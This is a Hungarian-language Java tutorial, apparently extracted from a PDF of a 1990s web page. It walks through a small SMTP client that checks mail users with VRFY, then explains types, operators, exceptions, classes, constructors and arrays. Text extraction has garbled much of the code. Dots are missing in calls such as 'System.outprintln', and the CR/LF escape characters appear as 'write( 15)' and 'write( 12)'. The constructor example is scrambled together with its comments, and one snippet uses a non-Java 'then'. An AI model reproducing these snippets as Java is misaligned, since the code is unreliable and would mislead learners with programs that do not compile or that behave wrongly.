http://www.doksihu Lássunk egy példa párbeszédet a két gép között! Dõlt betûkkel a megszólított SMTP kiszolgáló (a hapci. mmt.bmehu gépen), normális betûkkel az ügyfél, a mi programunk (a tudormmtbmehu gépen) üzenetei láthatók. A példa egy sikeres és egy sikertelen lekérdezést is tartalmaz 220 hapci.mmtbmehu 565c8/BMEIDA-144 Sendmail is ready at Wed, 14 Feb 1996 17:31:03 +0100 HELO tudor.mmtbmehu 250 Hello tudor.mmtbmehu, pleased to meet you VRFY kiss 250 Kiss Istvan <kiss> VRFY duke 550 duke. User unknown QUIT 221 tudor.mmtbmehu closing connection Látható, hogy a kiszolgáló minden üzenetét egy számmal is kódolja. A program szerkezete A programok import utasításokkal kezdõdhetnek, felsorolva a programban felhasznált könyvtárak nevét. Ez nem kötelezõ, az egyes könyvtári elemekre való hivatkozásnál is megadhatjuk a könyvtár nevét. C programozók figyelem: ez nem #include parancs, nem a fordítóprogramnak szóló üzenet a
forrásszöveg beolvasására. Az import a kapcsolatszerkesztõnek, betöltõnek szól, már lefordított kódú könyvtárakra hivatkozik. Importálásnál csomagokból (package) osztályokat (class) importálunk, azaz a programunkban felhasználhatóvá tesszük. A csillag az adott csomag összes osztályát jelenti import import import import java.net*; java.io*; java.lang*; java.util*; Ezután rögtön egy osztálydeklarációnak kell következni, a Jáva programban minden változó, minden utasítás csak osztályok törzsében szerepelhet. Eltûntek a C globális változói, globális függvényei Aki most lát elõször C++-ból átvett osztálydeklarációt, ne essen kétségbe, egyelõre fogadja el, hogy még a legegyszerûbb Jáva program is a class osztálynév { . } mintát követi. Az osztálynév-ben, mint a Jáva minden azonosítójában, a kis- és nagybetûk különbözõek file:///E|/docs/Untitled/javaprog.html (3 of 34)20040118 3:01:04 A Jáva programozási nyelv
rejtelmei Forrás: http://www.doksihu class SMTPclient { Változók és értékek Az osztályok belsejében változókat deklarálhatunk, a deklaráció szintaxisa egy-két módosító alapszó (static vagy final) kivételével megfelel a C-nek: típus változónév [ = kezdeti érték ] A nyelv tartalmaz néhány beépített, egyszerû adattípust, amelynek neve és értékkészlete a következõ táblázatban található: egész típusok byte 8 bit kettes komplemens short 16 bit kettes komplemens 32 bit kettes komplemens int 64 bit kettes komplemens long valós típusok float 32 bit IEEE 754 lebegõpontos double 64 bit IEEE 754 lebegõpontos karakter típus char 16 bites Unicode karakter kód logikai boolean true vagy false Látható, hogy csak elõjeles egész típusok vannak, bár ez nem jelenti azt, hogy nem lehet rájuk például a szokásos bitmûveletek alkalmazni. A C-tõl eltérés az is, hogy itt az egyes beépített típusok mérete, helyfoglalása nyelvi szinten
definiált, nem függ a programot futtató gép architektúrájától. A karakterek tárolásánál a nemzetközileg elfogadott, 16 bites Unicode-ot használják. static final int SMTPport = 25; A Jávában nincs #define, sem a C++ const-ja, ennek a legközelebbi megfelelõje a final változó, a fordítóprogram gondoskodik róla, hogy ennek értéke ne változhasson meg. Látható, hogy a változó deklarációjával együtt kezdeti értéket is adhatunk neki, ez persze final változó esetén kötelezõ. A static módosító egyelõre ne zavarjon bennünket, pontos jelentésére majd az osztályok ismertetésénél térünk ki. Elöljáróban csak annyit, hogy ezek azonosak a C++-ból ismert osztályváltozókkal és ezek közelítik meg leginkább a szokásos nyelvek globális változóit. A beépített numerikus típusokon a C-bõl jól ismert mûveletek értelmezettek. Az numerikus típusú file:///E|/docs/Untitled/javaprog.html (4 of 34)20040118 3:01:04 A Jáva programozási
nyelv rejtelmei Forrás: http://www.doksihu értékekkel a szokásos aritmetikai mûveletek használhatók. Az egész típusú értékekre használható bit mûveletek kiegészültek a >>> operátorral, amely jobbra léptetésnél 0-t és nem az elõjelet lépteti be a legnagyobb helyiértékû bitre. Ezek az operátorok értékadással is kombinálhatók, pl: +=, /=, A logikai értékek a C-vel ellentétben nem egész típusúak. Azonos típusú értékek összehasonlítására használt operátorok logikai értéket állítanak elõ, ilyen értékekre használhatók az ismert logikai mûveletek is. A következõ táblázat tartalmazza a Jáva nyelv összes operátorát - némelyikrõl egyelõre nem beszéltem precedenciájuk csökkenõ sorrendjében: (pre- vagy poszt-) inkremens és dekremens, ++ -logikai és bitenkénti negálás, ! ~ típus ellenõrzés instanceof szorzás, osztás, moduló * / % összeadás, kivonás + bitenkénti léptetések << >>
>>> összehasonlítások < > >= <= egyenlõ, nem egyenlõ == != bitenkénti AND & bitenkénti XOR ^ bitenkénti OR | logikai AND && logikai OR || feltételes kifejezés ? : = += -= *= /= %= ^= különbözõ értékadások &= |= <<= >>= >>>= Az egyszerû, beépített típusokon túl a Jáva csak kétfajta összetett adattípust tartalmaz, a programozók által definiálható osztályokat (class) illetve a tömböket (array), amelyek egyébként teljes értékû osztályok. Nincs struct, union, de nincs typedef sem, sõt mutatók (pointer) sincsenek! static Socket smtpconn; static DataInputStream instream; static DataOutputStream outstream; A fenti 3 sor a szabványos Jáva könyvtárakban definiált osztályok - Socket, DataInputStream, DataOutputStream - egy-egy példányának, egyedének (objektum) foglal helyet, pontosabban ezek egyelõre csak üres hivatkozások, az objektumok még nem jöttek létre.
file:///E|/docs/Untitled/javaprog.html (5 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu Megjegyzések a programban // Program: drótposta címek ellenõrzése SMTP kiszolgáló segítségével // Használata: // java SMTPclient <host> <user> A Jáva örökölte a C-bõl a /* . */ stílusú megjegyzés szintaxist, a C++-ból a //-val kezdõdõ egysoros megjegyzéseket, végül a /* . */ alakú megjegyzések a kiegészítõ dokumentációs rendszerrel (javadoc) együtt használhatók. A fõprogram Minden Jáva alkalmazásnak, pontosabban az egyik osztályának - mivel a Jávában minden utasítás csak osztályok definíciójában szerepelhet - tartalmaznia kell egy main nevû, itt következõ fejlécû függvényt: public static void main (String args[]) { A public a módszer láthatóságáról nyilatkozik, jelentése: bárhonnan meghívható. A static jelentésérõl egyelõre annyit, hogy az eljárás csak osztályváltozót
használ, void a módszer visszatérési értékének típusa: nem ad vissza értéket. A Jáva alkalmazás futtatását a virtuális gép a main eljárás végrehajtásával kezdi A main eljárás paramétere egy szövegtömb, amelynek egyes elemei a parancssorban megadott argumentumokat tartalmazzák. A szövegek tárolására, kezelésére szolgáló String egy elõre definiált osztály, nem pedig karaktertömb, mint a C-ben. A tömbök indexértékei itt is nullától kezdõdnek, viszont itt az args[0] nem a program nevét adja vissza, mint a C-ben, hanem ténylegesen az elsõ argumentumot. Akinek hiányzik a megszokott argc argumentumok száma paraméter, ne aggódjon, a Jáva tömbök méretét futás közben is le lehet kérdezni. Az egyes eljárásokban természetesen használhatunk lokális változókat, itt a String osztály egyedére lesz szükségünk, amelyet deklarációjával egyidejûleg a new parancs segítségével létre is hozzuk. String res = new String();
Lokális változókat a módszerek törzsében tetszõleges helyen deklarálhatunk, sõt az egyes programblokkok - { . } - saját, máshonnan nem látható lokális változókkal rendelkezhetnek Vezérlési szerkezetek file:///E|/docs/Untitled/javaprog.html (6 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu Kezdjük a programunkat azzal, hogy megvizsgáljuk, megfelelõ számú argumentummal hívták-e meg! Amennyiben a programnak nem 2 argumentuma volt - az SMTP kiszolgáló és a keresett felhasználó neve -, tájékoztató üzenetet írunk ki és befejezzük a program mûködését. if (args.length != 2) { System.outprintln("Usage:"); System.outprintln(" java SMTPclient <host> <user>"); System.exit(1); } A System könyvtár a Jáva programok futtatásához szükséges objektumokat, módszereket tartalmazza. Ilyen a programok szabványos kimenetét (standard output) - pl. konzol periféria - megvalósító
out objektum. A kiíró eljárás a print illetve println, amelynek csak egyetlen paramétere van, de elég "intelligens" ahhoz, hogy karakteres formában tetszõleges típusú értéket (igen, még a felhasználó által definiált objektumokét is) "megjelenítsen". A programunkban csak szövegek kiíratására fogjuk használni. A println módszer a paraméterének kiírása után még egy új sort is kiír A programból vagy a main módszer befejezésével, vagy a System könyvtár exit módszerének meghívásával lehet kilépni. A Jáva nyelv átvette a C vezérlési szerkezeteit, az elágazásokhoz az if-else és switch; ismétlésekre, ciklusszervezésre a for, while és do-while utasítások használhatók. Eltérés, hogy az összes feltételnek logikai értéknek kell lennie, int nem használható, ezért a fordítóprogram kiszûri a C programozók "kedvenc" hibáját, amikor if-ben értékadást ("=") írunk egyenlõség-vizsgálat
("==") helyett. A nyelvbõl kimaradt az ugró utasítás (goto), de megmaradtak a címkék (label). A címkéket ciklusutasítások megjelölésére használhatjuk, így a ciklus törzsében kiadott break és continue utasítások nem csak a legbelsõ, hanem bármelyik, címkével ellátott beágyazó ciklusra hivatkozhatnak. Kivételkezelés Van még egy utasításcsoport, amely a program végrehajtásnak sorrendjét befolyásolhatja, a try-catchthrow csoport, amely nagyon hasonló formában a C++ nyelvben is megtalálható. A tisztességesen megírt C programok legnagyobb problémáját az egyes eljárások végrehajtása közben esetleg elõbukkanó hibák, ún. kivételek (exception) lekezelése jelenti Kisebb gondossággal megírt programoknál a programozó hajlamos elfeledkezni arról, hogy legtöbbször az eljárás visszatérési értékének tesztelésével ellenõrizze, sikerült-e a végrehajtott mûvelet. Ha mégis megteszi, leggyakrabban egyszerûen befejezi a
programot, olyan bonyolult a hiba elõbukkanását és okát "felfelé" terjeszteni és a file:///E|/docs/Untitled/javaprog.html (7 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu megfelelõ helyen lekezelni azt. Ezen segíthetnek a fenti utasítások Most csak a felületesen ismerkedhetünk meg a kivételkezelés rejtelmeivel, majd késõbb részletesen visszatérünk a témához. try { Egy try blokkba zárt utasításcsoporton belül bárhol elõforduló kivétel hatására a program normális futása abbamarad és a vezérlés automatikusan a catch blokkra kerül. Itt a catch paramétereként megkapjuk a hiba okát - általában egy Exception típusú objektumot -, aztán kezdjünk vele, amit tudunk. A példaprogramunk egyszerûen kiírja a hiba okát. A programozó maga is definiálhat ilyen kivételeket, amiket - no meg az egyes catch blokkokban lekezelhetetlen kivételeket - a throw utasítással felfele passzolhatunk, amíg
valaki - legrosszabb esetben a virtuális gép - "lekezeli". A program törzse A programunk szerencsére nagyon egyszerû: kiépítjük az SMTP kapcsolatot az elsõ argumentumként megadott géppel: openSMTPconnection(args[0]); Elküldünk egy HELO üzenetet, hozzáfûzve a saját gépünk nevét (részletekrõl majd máskor), a visszakapott választ (res tartalma) nem használjuk. res = sendMessage("HELO " + java.netInetAddressgetLocalHost() getHostName()); Elküldünk egy VRFY üzenetet a második argumentumként megkapott felhasználó nevével. A visszakapott választ kiírjuk. res = sendMessage("VRFY " + args[1]); System.outprintln(res); Elküldjük a búcsúzó QUIT üzenetet és lezárjuk a kapcsolatot. res = sendMessage("QUIT"); closeSMTPconnection(); } Bármi hiba történt, kiírjuk a program kimenetre. file:///E|/docs/Untitled/javaprog.html (8 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu
catch(Exception e) { System.outprintln("Error: " + etoString()); } }; Egész egyszerû, nemde? Persze csaltam, azért ilyen egyszerû minden, mert "magasszintû", a feladathoz alkalmazkodó eljárásokat használtam. Ezeket még definiálni kell, mert sajnos nem szerepelnek a Jáva könyvtárakban. Módszerek Emlékeznek még arra, hogy egy osztály - SMTPclient - belsejében vagyunk? Az osztályok belsejében definiált függvényeket az objektumorientált terminológia szerint módszereknek (method) hívják. Definíciójuk nem különbözik a C-ben megszokottaktól, persze a mi programunkban a main-hez hasonlóan itt is meg kell adni a static módosítót, mert ezek a módszerek is használják a fent definiált osztályváltozókat. static void openSMTPconnection (String host) throws IOException { Persze a korábban megismert kivételkezelés belezavar a képbe: a Jáva nyelv megköveteli, hogy a módszerekben elõforduló kivételeket vagy le kell kezelni,
vagy deklarálni kell, hogy lekezeletlenül továbbadjuk. A módszer fejében a throws parancs erre szolgál (Megjegyzés: a lekezeletlen kivételek deklarálásának szabálya alól is vannak "kivételek", de errõl is csak késõbb.) Hálózati kommunikáció A programhoz szükséges hálózati kommunikációt szerencsére a Jáva net könyvtára segítségével könnyû megoldani. A részletek mellõzésével: a könyvtár definiál egy Socket osztályt, amely egyszerû TCP kapcsolat kiépítésére és azon adatok átvitelére szolgál. Elõször létrehozunk egy új Socket-et, egyben megnyitva az összeköttetést a paraméterként megkapott gép 25-ös (SMTP kiszolgáló) kapujával (port). smtpconn = new Socket(host, SMTPport); Az átvitelre két - input és output - stream objektum szolgál, amelyeket a get.Stream eljárással kibányászunk a kapcsolatból. file:///E|/docs/Untitled/javaprog.html (9 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei
Forrás: http://www.doksihu instream = new DataInputStream(smtpconn.getInputStream()); outstream = new DataOutputStream(smtpconn.getOutputStream ()); Ezen stream-ek segítségével már közvetlenül olvashatunk vagy írhatunk a kiépült kapcsolaton. Itt az elsõ beérkezõ sort - az SMTP kiszolgáló bejelentkezõ üzenetét - egyszerûen eldobjuk. String dummy = instream.readLine(); }; A kapcsolat lezárása egyszerû: static void closeSMTPconnection () throws IOException { smtpconn.close(); }; Egy SMTP üzenet kiküldéséhez egy kicsit ügyeskednünk kell: static String sendMessage(String msg) throws IOException { Elõször is a kiküldendõ üzenetet - a String típusú msg paramétert - Byte-okká alakítva kell elküldeni. Ne feledjük el, hogy a Jáva a karakterek tárolására - és egy szöveg is ezekbõl áll - 16 Bites Unicode-ot használ, a szegény SMTP kiszolgáló alaposan meg lenne lepve, ha ezt kapná. A Byte-sorozat végére még odabiggyesztjük a protokoll által
megkívánt CR és LF karaktereket. Legalább látunk arra is példát, hogyan lehet - úgy, mint a C-ben - karakter konstansokat megadni. outstream.writeBytes(msg); outstream.write( 15); outstreamwrite( 12); A flush utasítás kiüríti az átviteli puffert, elküldi az összegyûlt Byte-okat az összeköttetésen. outstream.flush(); Az SMTP szerver egy ilyen üzenetet nem hagy válasz nélkül, az egy soros választ beolvassuk és visszaadjuk a módszert meghívó programnak. Az utasítás arra is példa, hogy egy változót (res) nem csak a módszerek elején, hanem bárhol deklarálhatunk, ahol Jáva utasítás állhat. String result = instream.readLine(); return result; }; file:///E|/docs/Untitled/javaprog.html (10 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu } Fordítás, futtatás Ha valaki nem sajnálja a fáradságot és begépeli a fenti programot, mondjuk SMTPclient.java néven, lefordítani a javac SMTPclient.java paranccsal
lehet. Ha nem követtünk el gépelési hibát és a Jáva Fejlesztõi Környezetet (JDK) is helyesen telepítettük, akkor a fordító létrehoz egy SMTPclient.class állományt, ami a lefordított Byte kódot tartalmazza. Az állomány neve nem a forrás nevébõl származik, hanem az állományban definiált osztály nevét hordozza. Ha több osztályt definiálnánk, a fordító több különálló állományt hozna létre A programunkat tesztelhetjük például a java SMTPclient hapci.mmtbmehu kiss paranccsal és kis szerencsével a válasz: 250 Kiss Istvan <kiss> lesz, aki pedig én vagyok! Objektumorientált programozás Jáva módra Az objektumorientáltság manapság az egyik legdivatosabb programozási paradigma (alapelv), természetesen a Jáva is követi a divatot. Bár a nyelv õse a C++ volt, ám a Jávában sokkal tisztábban érvényesülnek az objektumorientált programozás elvei, talán azért, mert nem kényszerül arra, hogy még a C nyelvbõl származó
programozási elveket, szerkezeteket koloncként magával hordozza. Az objektumorientáltság még elég új elv ahhoz, hogy a teoretikusok felhevült hitvitákban próbálják definiálni lényeges vonásait. A teljesség igénye nélkül én itt az egyik széles körben használt definíciót ismertetném, természetesen olyat, amely illik a Jávára. Ezek szerint: Egy objektumorientált program együttmûködõ objektumok (object) összessége. A program alap építõkövei az objektumok. Ezek olyan, a környezetüktõl jól elkülöníthetõ, file:///E|/docs/Untitled/javaprog.html (11 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu viszonylag független összetevõk, amelyeknek saját viselkedésük, mûködésük és lehetõleg rejtett, belsõ állapotuk van. Egy objektumra a környezetben lévõ egyéb objektumok hatnak és ennek hatására saját állapotuk megváltozhat. Minden objektum valamilyen osztályba (class)
tartozik. Az osztályok megfelelnek az absztrakt adattípusoknak, minden objektum valamely típus példánya, egyede (instance). Az osztályok definiálják az egyes objektumok állapotát leíró adatszerkezetet és a rajtuk végezhetõ mûveleteket, az úgynevezett módszereket (method). Az egyes egyedek csak az állapotukat meghatározó adatszerkezet tényleges értékeiben különböznek egymástól, a módszerekkel definiált viselkedésük közös. Az egyes osztályokat az öröklõdés hierarchiába rendezi. Az öröklõdés az az eljárás, amely segítségével egy osztály felhasználhatja a hierarchiában felette álló osztályokban definiált állapotot (adatszerkezeteket) és viselkedést (módszereket). Így a közös elemeket elegendõ egyszer, a hierarchia megfelelõ szintjén definiálni. Általában csak az elsõ három követelménynek eleget tevõ programozási nyelvet, technológiát objektumalapúnak (object based), míg a negyedikkel kiegészülõket
objektumorientáltnak (object-oriented) hívják. Az elsõ 3 építõelem már korábbi programozási nyelvekben is megjelent, ezt leggyakrabban absztrakt adattípusoknak nevezték. Kezdetben én is ezzel foglalkozom Absztrakt adattípusok létrehozása A Jáva nyelvben csaknem minden objektum. Mint korábban láthattuk, egy programban az import utasításokon kívül minden utasítás osztályok belsejében szerepelhet csupán, nincsenek globális változók, globális eljárások. A nyelv ugyan tartalmaz néhány egyszerû adattípust, de ezeken felül minden egyéb adatszerkezet vagy valamilyen osztályba tartozó objektum, vagy tömb, amely, mint azt hamarosan látni fogjuk, ugyancsak speciális osztály. Mellesleg a nyelv tartalmaz a beépített típusokat becsomagoló osztályokat (wraper class) is: Boolean, Character, Double, Float, Integer, Float. Objektumok Az objektumok olyan programösszetevõk, amelyek szoros egységbe foglalják az állapotukat leíró belsõ
adatszerkezetüket és a rajtuk értelmezhetõ mûveleteket. Ebben az értelemben az egyes objektumok nagyon hasonlítanak egy adott típusba tartozó értékekhez. Egy int típusú érték is elrejti elõlünk a belsõ reprezentációját és csak az elõre definiált mûveletek végezhetõk rajta. A Jávában minden egyes objektumnak meghatározott típusa kell, hogy legyen, azaz valamelyik osztályba kell tartoznia. Az objektumokra változókon keresztül hivatkozhatunk, pl a Person somebody; file:///E|/docs/Untitled/javaprog.html (12 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu azt jelenti, hogy a somebody név mindig egy Person típusú objektumra hivatkozik. Viszont a C++ nyelvvel ellentétben a fenti deklaráció nem jelenti egy új objektum létrejöttét, a változó egyelõre nem hivatkozik semmire, azaz "értéke" null. A Person somebody = new Person("Kovacs", "Istvan", "15502280234");
utasítás nem csak definiál egy új változót, de a new paranccsal létre is hoz egy új objektumot, amelyre a változó hivatkozik. Nagyon fontos megértenünk azt, hogy a Jávában minden változó hivatkozást tartalmaz csupán. Ezt szem elõtt tartva érthetõ, hogy az értékadás (=) operátor nem készít másolatot, a bal oldali változó ugyanarra az objektumra hivatkozik majd, mint a jobb oldal. Ha valakinek mégis másolatra van szüksége, többnyire használhatja a csaknem minden osztályban megtalálható clone módszert. Hasonlóképpen az egyenlõség vizsgálatának C-bõl ismert operátora (==) is a referenciák egyenlõségét ellenõrzi, az objektumok strukturális ellenõrzésére az equal módszer való, már amennyiben az adott osztályban létezik ilyen. Ha már minden objektumra amúgy is csak referenciákon keresztül hivatkozhatunk - természetesen a hivatkozás feloldásának mûveletét (dereference) nem kell külön kiírnunk -, már nem is tûnik túl
meglepõnek, hogy a Jáva külön mutató típust nem tartalmaz. Ez nagyon sok programozási hibától, biztonsági problémától megkímél bennünket. A referenciák viszont szentek és sérthetetlenek, semmiféle mûvelet, konverzió nem végezhetõ rajtuk. Az egyes referenciák által hivatkozott objektumok típusát az instanceof logikai értéket adó operátorral tudjuk lekérdezni, például if (x instanceof Person) then System.outprintln("x egy személy!"); Azt már láttuk, hogy új objektumokat a new utasítással lehet létrehozni, megszûntetni, törölni viszont nem kell. A Jáva virtuális gép, amely a programokat futtatja, tartalmaz egy szemétgyûjtõ (garbage collection, gc) - jelenleg az ún. mark-and-sweep típusú - algoritmust, amely általában a háttérben, a CPU szabadidejében, a programmal aszinkron futva összegyûjti a már nem hivatkozott objektumokat és azok tárterületét felszabadítja, hogy a new újra felhasználhassa majd. A
szemétgyûjtés teljesen rejtetten, automatikusan történik, a programozóknak általában nem is kell törõdniük a szemétgyûjtéssel. Ha már vannak objektumaink, nézzük meg, hogyan tudunk hatni rájuk. Az egyes objektumok módszereit az obj.method(parameter, parameter, ) file:///E|/docs/Untitled/javaprog.html (13 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu szintaxissal hívhatjuk meg. Az objektumorientált terminológia ezt gyakran üzenetküldésnek (message passing) nevezi, pl. a somebody.changePID("15502280234"); utasítás "megkéri" a somebody objektumot, hogy hajtsa végre saját magán a changePID mûveletet a "15502280234" paraméterrel. Az ilyen módszerhívások vezethetnek az objektum belsõ állapotának, azaz belsõ változói értékének megváltozásához is, de gyakran csak egy belsõ változó értékének lekérdezése a cél. Bár a tiszta objektumorientált elvek szerint egy
objektum belsõ állapotváltozóinak értékéhez csak módszerein keresztül lehetne hozzáférni, a Jáva - a C++-hoz hasonlóan - megengedi a programozónak, hogy bizonyos változókat közvetlenül is elérhetõvé tegyen. Pl amennyiben age közvetlenül látható a somebody.age = 46; utasítás közvetlenül a példaszemélyünk életkorát változtathatja meg. Osztályok definíciója A Jáva programozók osztályokat a class ClassName { /* az osztály törzse / } programszerkezettel definiálhatnak, ahol a ClassName az újonnan definiált osztály neve lesz, az objektumok belsõ állapotát és viselkedését pedig a kapcsos zárójelek közötti programrészlet írja le. A class alapszó elõtt, illetve az osztály neve után opcionálisan állhatnak még különbözõ módosítók, de ezekrõl majd késõbb. Egyedváltozók Az osztály törzsében szerepelnek azok a változó-deklarációk, amelyek az egyes egyedek belsõ adatszerkezetét valósítják meg. Ezeket gyakran
egyedváltozóknak (instance variable, member variable) nevezzük, jelezve, hogy az osztály minden egyede ezekbõl a változókból saját készlettel rendelkezik. A változó-deklarációk megfelelnek a C-ben megszokottaknak: class Person { String name, surname, pid; byte age; file:///E|/docs/Untitled/javaprog.html (14 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu Person mother, father; A képzeletbeli Person típusunkba tartozó egyedek három szövegváltozóban tárolhatják a személy vezeték- és keresztnevét, személyi számát (ez persze lehetne akár egy long egész szám is), egy Byte-ban az életkorát és két Person típusú változóban az apját és anyját. Az utolsó 2 változó példa arra, hogy egy egyed belsõ állapota hivatkozhat más - akár az egyeddel megegyezõ típusú - objektumokra is. Módszerek A típus által értelmezett mûveleteket a módszerek testesítik meg, ezek definiálása megegyezik a C
függvényekével. void changePID (String newPID) throws WrongPIDException { if (correctPID(newPID)) pid = newPID else throw new WrongPIDException(); } Mint látjuk, az egyes módszereknek lehet visszatérési értéke - bár a példánkban nincsen, ezt jelzi az ilyenkor kötelezõ void -, illetve adott típusú és számú bemenõ paramétere. A módszer nevét, visszatérési értékének és paramétereinek számát, típusát a módszer lenyomatának (signature) nevezzük. A módszerek meghívásánál a lenyomatban definiált formális paraméterek aktuális értéket kapnak. A Jávában minden paraméterátadás érték szerint történik, azaz a paraméter helyén szereplõ értékrõl másolat készül, a módszer ezt a másolatot látja, használja. Persze, ha a másolat módosul, az az eredeti értéket nem érinti. Kicsit becsapós a "mindig érték szerinti paraméterátadás" szabálya Amennyiben a paraméter nem valamelyik beépített, egyszerû típusba
tartozik, úgy az átadásnál a referenciáról készül másolat, azaz a C++ fogalmai szerint ilyenkor referencia szerinti átadás történik, tehát a hivatkozott objektum a módszer belsejében megváltoztatható. A visszatérési érték sem feltétlenül egy egyszerû típusba tartozó érték, hanem lehet objektum referencia is. Az osztály belsejében azonos névvel, de egyébként különbözõ lenyomattal több módszert definiálhatunk (többes jelentés, overloading), ilyenkor a fordító a módszer hívásánál a paraméterek számából és típusából dönti el, hogy melyik módszert akarjuk meghívni, de a kiválasztásnál a módszer visszatérési értékének típusát a fordító nem veszi figyelembe. A módszerek törzsében a korábban már megismert utasításokat írhatjuk. A kifejezésekben, értékadások bal oldalán használhatjuk az eljárás paramétereit, lokális változóit, de az objektum egyedváltozóinak értékét is. Amennyiben a saját
objektumra akarunk hivatkozni, úgy használhatjuk a this szimbólumot Pl a pid = newPID azonos a this.pid = newPID utasítással file:///E|/docs/Untitled/javaprog.html (15 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu A módszerek fejében használhatjuk a native módosítót, ez a fordítóprogramnak azt jelenti, hogy a módszer törzsét nem Jávában írtuk meg, hanem az aktuális platformtól függõ módon, pl. C-ben Az ilyen módszerek paraméterátadási módja, esetleg az elnevezési konvenciói az aktuális platformtól függhetnek. Természetesen ilyenkor az osztálydefinícióban a módszernek csak a lenyomatát kell megadni. Az ilyen módszereket használó programok sajnos elvesztik a Jáva programok architektúra-függetlenségét, de egyébként a native módszerek mind a láthatóság, mind az öröklõdés szempontjából a többi módszerrel teljesen azonos módon viselkednek. Konstruktorok Az osztályban definiált
módszerek közül kitûnnek az ún. konstruktorok (constructor), amelyek szerepe az objektumok létrehozása, belsõ állapotuk kezdeti értékének beállítása. Minden konstruktor neve megegyezik az osztálya nevével, visszatérési értéke pedig nincs. Természetesen a konstruktor is lehet többes jelentésû módszer: Person () { /* Person (String { this(); semmit this.name = . }; üres */ }; name, String surname, String PID) // az üres konstruktor egyenlõre nem csinál name; this.surname = surname; thisPID = PID; A konstruktorokat a new utasítás kiadása hívja meg, a konstruktorok közül a new-nál megadott paraméterek száma és típusa szerint választunk. Kitüntetett szerepû a paraméter nélküli, ún alap (default) konstruktor, ha mi nem definiáltunk ilyet, a Jáva fordító automatikusan készít egyet az osztályhoz. Az így generált konstruktor a helyfoglaláson kívül nem csinál semmit A szemétgyûjtés miatt a C++-ból ismert destruktorok itt nem
léteznek, viszont ha egy objektum végleges megszûntetése elõtt valami rendrakó tevékenység végrehajtására lenne szükség, akkor ezt írjuk egy void finalize() lenyomatú módszer törzsébe, a Jáva virtuális gép biztosan végrehajtja, mielõtt az objektum területét a szemétgyûjtõ felszabadítaná, azonban az aszinkron szemétgyûjtés miatt azt soha nem tudhatjuk biztosan, hogy ez mikor következik be. Osztályváltozók és -módszerek Míg az egyedváltozókból minden példány saját készlettel rendelkezik, addig az ún. osztály- vagy statikus (static) változókból osztályonként csak egy van. Természetesen mivel ezek nem egy példányhoz tartoznak, ezért a hozzáféréshez sincs szükség egy konkrét objektumra, az osztály nevével is hivatkozhatunk rájuk. file:///E|/docs/Untitled/javaprog.html (16 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu A csak statikus változókat használó módszerek a statikus,
avagy osztálymódszerek. Egészítsük ki a személy példánkat úgy, hogy minden új személy kapjon egy egyedi sorszámot: class Person { . int index; static int counter; static { counter = 0; } // egyedi sorszám // létrejött személyek számlálója // statikus változó kezdeti értéke Person () { index = counter++; } // a konstruktorban használjuk fel a számlálót static int howManyPersons () { return counter; ) . } A példában látható egy ún. statikus inicializáló programrészlet is - a static { } -, amely utasításai az osztály betöltésénél, az esetleges statikus változók kezdeti értékadásával egyidejûleg hajtódnak végre. Megjegyzés: a példában ez kihagyható lenne, helyette elég lenne static int counter = 0; // létrejött személyek számlálója változódeklarációt írni. Tömbök A Jáva nyelv tömbjei is objektumok, ha kissé speciálisak is. Deklarálásuk nem csak a C-szerû szintaxissal megengedett, de végre tehetjük a
szögletes zárójeleket a "logikus helyére" is, azaz a következõ két deklaráció ekvivalens: int a[] = new int[10]; int[] a = new int[10]; Mint a többi objektumnál, a név itt is csak egy referencia, a tömb deklarációja után azt a new paranccsal létre is kell hozni. Az indexelés mûvelete azonos a C-ben megismerttel, itt is 0 a legkisebb index Lényeges különbség viszont, hogy a virtuális gép ellenõrzi, hogy ne nyúljunk túl a tömb határán; kivétel keletkezik, ha mégis megtesszük. Minden tömb objektumnak van egy length nevû egyedváltozója, amely a tömb aktuális méretét adja vissza. Ez azért is fontos, mert a program futása során ugyanaz a file:///E|/docs/Untitled/javaprog.html (17 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu tömbváltozó más és más méretû tömbökre hivatkozhat. Természetesen nem csak a beépített, egyszerû típusokból képezhetünk tömböket, hanem tetszõleges
típusból, beleértve egyéb tömböket. A Jáva többdimenziós tömbjei is mint tömbök tömbje jönnek létre Például int a[][] = new int[10][3]; System.outprintln(alength); System.outprintln(a[0]length); // 10-et ír ki // 3-at ír ki Még egy érdekesség: a referenciák használatának következménye, hogy nem csak "négyszögletes" kétdimenziós tömböt lehet készíteni, de olyat is, ahol az egyes sorok nem azonos hosszúak. Pl egy "háromszög alakú tömb" létrehozása: float f [][] = new float [10][]; for (int i = 0; i < 10; i++) f[i] = new float [i + 1]; Szövegek A Jávában a szövegek (String) is teljes rangú objektumok. A szövegek gyakori módosításának hatékonyabb elvégzésére használhatjuk a StringBuffer osztályt is. Részletes magyarázkodás helyett álljon itt egy példa, egy olyan módszer, amelyik megfordít egy szöveget: String reverse (String source) { int i, len = source.length(); StringBuffer dest = new
